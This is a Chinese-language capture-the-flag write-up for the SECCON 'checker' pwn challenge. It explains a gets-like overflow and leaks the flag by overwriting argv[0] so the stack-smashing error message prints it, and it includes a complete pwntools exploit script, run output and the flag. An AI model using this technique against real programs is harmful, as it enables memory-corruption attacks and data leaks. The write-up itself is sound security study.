Info
Category: pwn
Point: 300
Author: bruce30262 @ BambooFox
Analyzing
64 bit ELF, Full RELRO, 有 stack canary 和 NX , 沒 PIE.
程式很小,行為也很簡單:
$ ./checker
Hello! What is your name?
NAME : 123
Do you know flag?
>> 123
Do you know flag?
>> yes
Oh, Really??
Please tell me the flag!
FLAG : asdf
You are a liar...
簡單來說就是程式會讀我們的 input,然後比對 flag 內容 ( 正確的 flag 內容會存在 .bss
section ),之後印出比對的結果。
程式使用自製的函式 getaline()
來讀 user 的 input
while ( buf && read(0, &buf, 1uLL) )
{
if ( buf == 10 )
buf = 0;
*(_BYTE *)(a1 + (signed int)v4++) = buf; // a1 = input buffer
}
可以看到 getaline()
就跟 stdio.h
裡面的 gets()
一樣,除非讀到換行,否則會一直讀下去,因此這是一個很明顯的 buffer overflow 漏洞。
$ ./checker
Hello! What is your name?
NAME : 123
Do you know flag?
>> yes
Oh, Really??
Please tell me the flag!
FLAG : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You are a liar...
*** stack smashing detected ***: ./checker terminated
[1] 70548 abort ./checker
Exploit
一開始想嘗試直接蓋 return address,但是因為有 canary 的關係使得這很難做到。直到看到程式印出 stack smash 的 error message 時,才突然想起可以直接蓋 argv[0]
,將指向執行檔路徑的 char* pointer 改成存 flag 的 buffer address,之後觸發 stack_chk_fail
,使程式印出 error message,進而 leak 出 flag 的內容:
*** stack smashing detected ***: [flag content] terminated
這邊要注意的是 argv[0]
原本是一個 stack address,長度為 6 個 byte,而 flag 的 buffer address 位於 0x6010c0
,長度為 3 個 byte,因此在蓋 argv[0]
之前要先將 argv[0]
作清空的動作,否則之後印 error message 時會 crash 掉。
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
HOST = "checker.pwn.seccon.jp"
PORT = 14726
ELF_PATH = "./checker"
LIBC_PATH = ""
# setting
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
elf = ELF(ELF_PATH)
if __name__ == "__main__":
r = remote(HOST, PORT)
#r = process(ELF_PATH)
pad = 0x178
r.sendlineafter(": ", "aaaa")
# null out argv[0]
for i in xrange(8,-1,-1):
payload = "A"*pad + "B"*i
r.sendlineafter(">> ", payload)
r.sendlineafter(">> ", "yes")
# overwrite argv[0] to flag buffer
payload = "A"*pad + p64(0x6010c0)
r.sendlineafter(": ", payload)
r.interactive()
exploit 在本地端可以 work,但是之後送 remote 端時卻一直沒噴回 flag。本來以為是 padding 的問題,但是在做了一些測試之後斷定 padding 是正確的,input buffer 離 argv[0]
就是 376 個 byte。因此之後就是瘋狂的鬼打牆,不斷地送同樣的 payload 到 remote 端並祈禱 exploit 能夠 work。然後就在比賽結束前 3 分鐘,奇蹟發生了…
[+] Opening connection to checker.pwn.seccon.jp on port 14726: Done
You are a liar...
*** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated
[*] Got EOF while reading in interactive
完全無法理解 XDDD ( 明明是一模一樣的 payload 啊 ! ) 而且在這之後不管怎麼送就是不會 work,非常詭異
無論如何還是驚險地拿到了這 300 分 =w=
flag: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4}
Afterword
之後 mike 在 trello 上有提到,如果 0x6010c0
是在回答 yes 之前蓋的話就會 work。或是把 sendlineafter()
改成 sendline()
,之後一次 recvall()
也會噴回 flag。
至於詳細原因為何至今仍然無解……